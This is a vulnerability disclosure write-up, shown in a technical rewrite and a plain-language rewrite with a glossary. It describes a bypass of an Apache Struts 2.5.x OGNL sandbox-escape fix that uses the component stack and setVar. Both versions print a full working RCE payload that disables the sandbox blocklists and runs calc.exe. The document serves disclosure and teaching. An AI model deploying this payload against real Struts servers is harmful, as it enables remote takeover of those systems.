RCE on Apache Struts 2.5.30
A bypass was found for a previously fixed OGNL sandbox escape in Apache Struts, allowing remote code execution when a developer forces expression evaluation on untrusted input in a select tag's listValueKey attribute. An attacker could execute arbitrary code on the server.
In early May 2021 I reported a second RCE on Apache Struts 2.5.0-2.5.29 here and disclosed the details a month after the fix was made public. Again, like many of you security researchers, I had to look more into it.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Apache Struts is a Java web framework whose tag library renders UI elements such as <s:select>. Some tag attributes accept expressions, and when a developer forces an evaluation with %{} on untrusted user input, OGNL code inside that input is evaluated. OGNL evaluations become exploitable when the code is evaluated twice: the first evaluation produces a string that is then evaluated again, which is what allows a sandbox escape and ultimately remote code execution.
This write-up describes a bypass of a fix for one such double-evaluation RCE affecting Apache Struts 2.5.0 to 2.5.29. The bypass was found after the second RCE in that range was reported and its details disclosed. There is no CVE identifier for it. Apache Struts considers the underlying pattern a developer error, because the developer is forcing an evaluation (%{}) with untrusted user input, and does not treat it as a vulnerability. The project's security page documents the rule against using incoming untrusted user input in forced expression evaluation.
The author notes that this is a rare situation most programs will not run into, and that it applies specifically to a select type object.
Setup
The report does not describe a lab, accounts, roles or tooling. The relevant preconditions are the ones above: a Struts 2.5.x application (the author verified the bypass still worked in the latest 2.x on 28 October 2022) in which a developer passes untrusted input into a forced expression evaluation on a select tag attribute such as listValueKey. The author had previously reported two RCEs via double OGNL evaluation, and the bypass builds on the fix for one of them.
Finding it
The fix for the earlier issue was made in StrutsUtil.java at line 128, in commit [redacted]:
The fix was listed at line 128 StrutsUtil.java https://github.com/apache/struts/commit/[redacted]#diff-[redacted]
The idea of the fix is to replace all single quotes with double quotes, so that the input cannot escape the getText function. The author describes the original primitive as follows: passing text = a') + #application + getText('b results in stack.findValue("getText('a') + #application + getText('b')"), which allows evaluation of variables outside the limited getText() function, and from there a sandbox escape and RCE.
Looking further into the fixed code, the author realised that some things were still being evaluated, but could not escape getText and could not call #application. Recent POCs typically start by calling the #application object and then call functions until RCE is reached. The author looked for other top level variables that can be called, and found #__component_stack. This variable gives access to a list of objects pushed on to the "stack" pertaining to the UI element being worked on.
For a <s:select>, the stack contains only two objects:
[org.apache.struts2.components.Select@20b3a98e,
org.apache.struts2.components.IteratorComponent@133c7058]
At first glance the author assumed there was nothing to work with. The second element, however, is an IteratorComponent object, which inherits the ContextBean class. ContextBean has an interesting public function, setVar, which calls findString. As described in the previous RCE write-up, findString performs an OGNL evaluation on the string passed to it. That provides a path to the second OGNL evaluation.
https://github.com/apache/struts/blob/[redacted]/core/src/main/java/org/apache/struts2/components/ContextBean.java#L42ContextBean has a setVar function which calls findString. The findString function as mentioned in my previous RCE does an OGNL evaluation on the string passed to it. Thus providing a path to the second OGNL evaluation.
An example of a vulnerable Struts element this applies to, where the listValueKey of a select object is affected:
<s:select label="Pets"
name="petIds"
list="#{'01':'Jan', '02':'Feb'}"
listValueKey="%{userValue}"
listValue="name"
multiple="true"
size="3"
required="true"
value="abc"
/>
Exploitation
Step 1: Reach the component stack
The pseudo code for the primitive is:
POC pseudo code %{#__component_stack[1].setVar("OriginalPOC")}
This indexes the second object on the component stack (the IteratorComponent) and calls setVar with a string. Because setVar calls findString, the string argument is evaluated as OGNL, giving the second evaluation.
Step 2: Adapt the original POC to the quote filter
After taking the original POC and replacing single quotes with allowed characters, the author produced the full payload:
Full payload for POC:
%{#__component_stack[1].setVar("%{(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get(\\"struts.valueStack\\")) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get(\\"map\\").get(\\"context\\")) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get(\\"map2\\").get(\\"memberAccess\\")) == true).toString().substring(0,0) +(#request.get(\\"map3\\").put(\\"excludedPackageNames\\",#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get(\\"map3\\").put(\\"excludedClasses\\",#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get(\\"org.apache.tomcat.InstanceManager\\").newInstance(\\"freemarker.template.utility.Execute\\").exec({\\"calc.exe\\"}))}")}

6.x Testing
On 17 May the Apache Struts team enabled a default maximum character count for an expression of 256 characters, which helps block this specific POC. The change is in commit [redacted].
TimelineApril 12th 2022 - Submitted a bypass for a double OGNL evaluation vulnerability leading to RCE and provided possible remediation fixes. April 12th 2022 - Got a reply that they wont accept 'issues caused by developer error anymore as vulnerabilities'. But that they will try to minimize on developer error by adding protections in Struts2 ver 6 since they wont be releasing 2.5.x changes except for 'security reasons'. May 25th 2022 - Publicly posted 2nd RCE Oct 28th 2022 - Verified still worked in latest 2.x
Root cause
The mistake is a double OGNL evaluation: a forced evaluation (%{}) on untrusted input produces a string that is evaluated a second time. The earlier fix in StrutsUtil.java replaced single quotes with double quotes to stop input escaping the getText function, but it did not remove the second evaluation itself. The #__component_stack variable remains reachable, and the IteratorComponent on the stack inherits ContextBean.setVar, which calls findString and therefore evaluates its argument. That gives the attacker a second evaluation without needing #application or an escape from getText. Apache Struts treats the pattern as a developer error rather than a framework vulnerability, so the framework-level mitigation was a 256 character limit on expressions in 6.x rather than a change to 2.5.x.
Impact
Where a developer forces an evaluation on untrusted input in a select tag attribute such as listValueKey, an attacker can achieve remote code execution, as demonstrated by the payload running calc.exe. The author verified the bypass still worked in the latest 2.x on 28 October 2022. The author stresses that this is a rare situation most programs will not run into and applies specifically to a select type object, and Apache Struts classifies it as a developer error. There is no CVE identifier for it.
Fix
Apache Struts did not change 2.5.x for this, stating that it would not accept issues caused by developer error as vulnerabilities and would only release 2.5.x changes for security reasons. Instead, protections against developer error were added in Struts 6, and on 17 May the default maximum character count for an expression was set to 256 characters, which helps block this specific POC. The author also provided possible remediation fixes when submitting the bypass. The Struts security page advises against passing untrusted user input into forced expression evaluation.
Variants to test
- A positive result is a method call on such an object whose string argument is evaluated as OGNL.
- A positive result is a
setVar(or similar) call reachable through the component stack. - A positive result is a payload that still reaches a second evaluation after the filter.
- A positive result is a working payload within the limit.
What happened, in plain words
A security researcher found a way to make a web server run commands of his choosing, on a piece of software called Apache Struts. He had already reported two similar problems before, and the makers of Struts had released fixes for them. This article is about a way around one of those fixes.
To follow it you only need to know what a web page is and roughly what happens when you fill in a form and press submit. Everything else is explained as it comes up.
A few words first, because they appear constantly below.
- Apache Struts is a toolkit that programmers use to build websites in the Java programming language. Instead of writing every page from scratch, a developer uses ready-made building blocks from Struts, called tags, and the toolkit turns them into the HTML your browser displays. One of those blocks is
<s:select>, which draws a drop-down list, the kind where you pick one item from a menu. - Remote code execution (RCE) means an attacker can make someone else's computer run a program the attacker chose, from a distance, over the network. It is the most serious kind of web bug because the attacker is no longer limited to reading or changing a page: they can run anything the server is allowed to run.
- OGNL is a small expression language used inside Struts. An expression is a short piece of code that produces a value, like a formula in a spreadsheet cell. Struts uses OGNL to work out things such as which items belong in a drop-down list.
- Evaluation means the server reading an expression and working out its result. If a value that a user typed is treated as an expression and evaluated, the user is effectively writing code that the server runs.
- Double evaluation is the heart of this story. The server evaluates a piece of text once, and the result of that first evaluation is itself a piece of text that gets evaluated a second time. The first pass can be harmless while the second pass runs whatever the attacker smuggled through.
- Sandbox is a set of restrictions that stops evaluated code from doing dangerous things, such as reaching the operating system. A sandbox escape is a trick that gets around those restrictions.
- CVE identifier is a public catalogue number given to a known security flaw so people can refer to it unambiguously. This particular issue has none.
The background: two earlier bugs and a fix
The author reported a second RCE affecting Apache Struts versions 2.5.0 to 2.5.29 and disclosed the details a month after the fix was made public. That earlier report is linked from this one, and so is an even earlier write-up from April 2021 about Struts 2.5.26.


After those fixes went out, the author kept digging, as security researchers tend to do, and found a way around one of them. That bypass is what this article describes. There is no CVE identifier for it.
One important framing point: the makers of Apache Struts do not consider this a flaw in their software. In their view the mistake belongs to the developer of the website, who took text supplied by a user and told Struts to evaluate it as an expression. The Struts security page has a section spelling out the rule: do not use incoming untrusted user input in forced expression evaluation. The author agrees this is a rare situation that most programs will never run into, and notes it applies specifically to a select type object, the drop-down list mentioned above.
How the vulnerability works
A reminder of the mechanism: OGNL expressions become dangerous when they are evaluated twice. If you want a worked example, the author points to his previous two RCE write-ups.
The bypass involves the ftl file issue. The author quotes the original problem like this:
Passing text = a') + #application + getText('b will result in: stack.findValue("getText('a') + #application + getText('b')") which allows you to evaluate variables outside of the 'getText()' limited function. From there you can once again create your sandbox escape and reach RCE.
A vulnerable Struts element looks like this, where the listValueKey attribute of a select object is the affected part:
<s:select label="Pets"
name="petIds"
list="#{'01':'Jan', '02':'Feb'}"
listValueKey="%{userValue}"
listValue="name"
multiple="true"
size="3"
required="true"
value="abc"
/>
The fix for the earlier bug was made in a file called StrutsUtil.java, at line 128, in a specific change to the Struts source code:
The fix was listed at line 128 StrutsUtil.java https://github.com/apache/struts/commit/[redacted]#diff-[redacted]
The idea of that fix was simple: replace every single quote in the input with a double quote. Since the trick above depended on a single quote to close the getText wrapper early, removing single quotes should stop the attacker escaping the function. Think of it like a form that only accepts letters, so you cannot type the punctuation you need to break out of a sentence.
Looking more closely at the fixed code, the author noticed that some things were still being evaluated, but he could not escape getText and could not call #application any more. So he went looking elsewhere.
Recent proofs of concept, the small demonstrations that prove a bug is real, usually start by calling the #application object. From there you call one function after another until you reach RCE. But #application is not the only top-level variable available. There are a handful of others, and one of them is #__component_stack.
A stack here is simply a list, one item after another, of the internal objects involved in drawing the user interface element currently being processed. #__component_stack gives you that list.
For a <s:select>, the list contains only two objects:
[org.apache.struts2.components.Select@20b3a98e,
org.apache.struts2.components.IteratorComponent@133c7058]
The square brackets mark the start and end of a list. The first entry is the Select object, the drop-down list itself. The second is an IteratorComponent object, something that walks through a series of items. The long strings after the @ are internal identifiers, not something you need to remember.
At first glance the author assumed there was nothing useful here. Then he noticed that the second entry, the IteratorComponent, inherits from a class called ContextBean. Inheritance in programming means one type of object is built on top of another and gains its abilities; if ContextBean has a useful function, so does anything that inherits from it.
ContextBean has an interesting public function called setVar, which internally calls findString. A public function is a named action an object offers to the rest of the program. As the author explained in his previous RCE write-up, findString performs an OGNL evaluation on the string you pass to it. That is the second evaluation the attacker needs.
https://github.com/apache/struts/blob/[redacted]/core/src/main/java/org/apache/struts2/components/ContextBean.java#L42ContextBean has a setVar function which calls findString. The findString function as mentioned in my previous RCE does an OGNL evaluation on the string passed to it. Thus providing a path to the second OGNL evaluation.
So the chain is: reach the component stack, pick the IteratorComponent, call setVar on it, and whatever string you hand to setVar gets evaluated as OGNL. No need for #application, and no need to break out of getText.
Building the exploit
Step 1: Reach the component stack
The author first wrote a short sketch of the idea, pseudo code meaning an outline rather than something you would run as is:
POC pseudo code %{#__component_stack[1].setVar("OriginalPOC")}
Line by line:
%{ ... }is the forced evaluation wrapper. It tells Struts to evaluate what is inside.#__component_stackis the list of objects for the current UI element.[1]picks the second item in the list, because counting starts at zero. That is the IteratorComponent..setVar("OriginalPOC")calls the function that eventually runsfindStringon the text inside the quotes. Here the text is just a placeholder,OriginalPOC.
Because setVar calls findString, the string argument is evaluated as OGNL. That is the second evaluation, and it is why this short line is enough to prove the path exists.
Step 2: Adapt the original payload to the quote filter
Now the author had to get his real attack code through the fix, which replaces single quotes with double quotes. He took the original proof of concept and replaced single quotes with characters that were still allowed. The result was the full payload:
Full payload for POC:
%{#__component_stack[1].setVar("%{(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get(\\"struts.valueStack\\")) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get(\\"map\\").get(\\"context\\")) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get(\\"map2\\").get(\\"memberAccess\\")) == true).toString().substring(0,0) +(#request.get(\\"map3\\").put(\\"excludedPackageNames\\",#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get(\\"map3\\").put(\\"excludedClasses\\",#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get(\\"org.apache.tomcat.InstanceManager\\").newInstance(\\"freemarker.template.utility.Execute\\").exec({\\"calc.exe\\"}))}")}
So the whole payload is the original POC, wrapped in the setVar call, with single quotes replaced with allowed characters.

Testing against 6.x
On 17 May the Apache Struts team set a default maximum length for an expression of 256 characters. A character limit means the server refuses to evaluate anything longer than that number of letters, digits and symbols. This helps block this specific payload. The change is in a specific commit in the Struts source code:
https://github.com/apache/struts/commit/[redacted]
The timeline, as the author recorded it:
TimelineApril 12th 2022 - Submitted a bypass for a double OGNL evaluation vulnerability leading to RCE and provided possible remediation fixes. April 12th 2022 - Got a reply that they wont accept 'issues caused by developer error anymore as vulnerabilities'. But that they will try to minimize on developer error by adding protections in Struts2 ver 6 since they wont be releasing 2.5.x changes except for 'security reasons'. May 25th 2022 - Publicly posted 2nd RCE Oct 28th 2022 - Verified still worked in latest 2.x
In plain words:
- 12 April 2022: the author submitted the bypass, along with suggestions for how to fix it.
- The same day: the Struts team replied that they would no longer accept issues caused by developer error as vulnerabilities. They said they would try to reduce developer error by adding protections in Struts version 6, because they would not be releasing changes to 2.5.x except for security reasons.
- 25 May 2022: the author publicly posted the second RCE.
- 28 October 2022: he checked again and the bypass still worked in the latest 2.x release.
Why it works
The root mistake is double evaluation. A forced evaluation, the %{...} wrapper, is applied to untrusted input, and the result of that first pass is a string that gets evaluated a second time. The earlier fix in StrutsUtil.java replaced single quotes with double quotes to stop input escaping getText, but it did not remove the second evaluation itself. The #__component_stack variable is still reachable, and the IteratorComponent sitting on that stack inherits ContextBean.setVar, which calls findString and therefore evaluates whatever it is given. That hands the attacker a second evaluation without needing #application or an escape from getText.
Because Apache Struts treats the pattern as a developer error rather than a framework vulnerability, the framework-level mitigation was a 256 character limit on expressions in version 6, not a change to 2.5.x.
What the impact is
Where a developer forces an evaluation on untrusted input in a select tag attribute such as listValueKey, an attacker can achieve remote code execution, as demonstrated by the payload running calc.exe. The author verified the bypass still worked in the latest 2.x on 28 October 2022. He stresses that this is a rare situation most programs will not run into and applies specifically to a select type object, and Apache Struts classifies it as a developer error. There is no CVE identifier for it.
How it was fixed
Apache Struts did not change 2.5.x for this. The team said it would not accept issues caused by developer error as vulnerabilities and would only release 2.5.x changes for security reasons. Instead, protections against developer error were added in Struts 6, and on 17 May the default maximum character count for an expression was set to 256 characters, which helps block this specific payload. The author also provided possible remediation fixes when he submitted the bypass. The Struts security page advises against passing untrusted user input into forced expression evaluation.
Things worth testing if you are learning
- A positive result is a method call on such an object whose string argument is evaluated as OGNL.
- A positive result is a
setVaror similar call reachable through the component stack. - A positive result is a payload that still reaches a second evaluation after the filter.
- A positive result is a working payload within the limit.
Glossary
- Apache Struts: a Java toolkit for building web applications, providing ready-made building blocks called tags.
- Tag: a reusable building block in a web page template, such as
<s:select>, that the framework turns into HTML. <s:select>: the Struts tag that draws a drop-down list.- Attribute: a setting written inside a tag, such as
listValueKey, that configures how the tag behaves. - Remote code execution (RCE): an attack that makes a remote server run programs chosen by the attacker.
- OGNL: an expression language used by Struts to work out values.
- Expression: a short piece of code that produces a value, like a formula in a spreadsheet.
- Evaluation: the server reading an expression and working out its result.
- Forced evaluation: telling Struts to evaluate something explicitly, using the
%{...}wrapper. - Double evaluation: evaluating a piece of text once, where the result is itself evaluated a second time.
- Sandbox: restrictions that stop evaluated code from doing dangerous things.
- Sandbox escape: a trick that gets around those restrictions.
- CVE identifier: a public catalogue number for a known security flaw.
- Proof of concept (POC): a small demonstration that proves a bug is real and exploitable.
- Pseudo code: an outline of code written for humans to read, not meant to run as is.
- Stack: here, a list of internal objects involved in drawing the current UI element.
#__component_stack: the OGNL variable that gives access to that list.- Class: a blueprint in object-oriented programming that defines what an object can do.
- Object: a concrete thing created from a class, with its own data and functions.
- Inheritance: when one type of object is built on another and gains its abilities.
- Public function: a named action an object offers to the rest of the program.
setVar: a function onContextBeanthat stores a value and internally callsfindString.findString: a function that performs an OGNL evaluation on the string passed to it.getText: a Struts function for looking up text, which the earlier fix tried to keep attackers inside.#application: a powerful top-level OGNL variable giving access to application-wide objects.- BeanMap: a helper object that lets code treat an ordinary object as a table of names and values.
- Value stack: the internal structure holding the data being processed during a request.
- Context: the surrounding data and settings for the current request.
- Member access: the part of the sandbox that decides which classes and packages evaluated code may use.
excludedPackageNames/excludedClasses: the sandbox's blocklists of packages and classes that evaluated code may not touch.- Tomcat: a Java web server that runs Struts applications.
- InstanceManager: a Tomcat component that creates objects on request.
- FreeMarker: a template engine used by Struts to produce pages.
freemarker.template.utility.Execute: a FreeMarker utility that runs operating system commands.calc.exe: the calculator program on Windows, often used to show that code execution worked.- Commit: a recorded change to a source code repository.
- Character limit: a maximum number of characters the server will accept in an expression.
- Developer error: a mistake in the website's own code, rather than a flaw in the framework.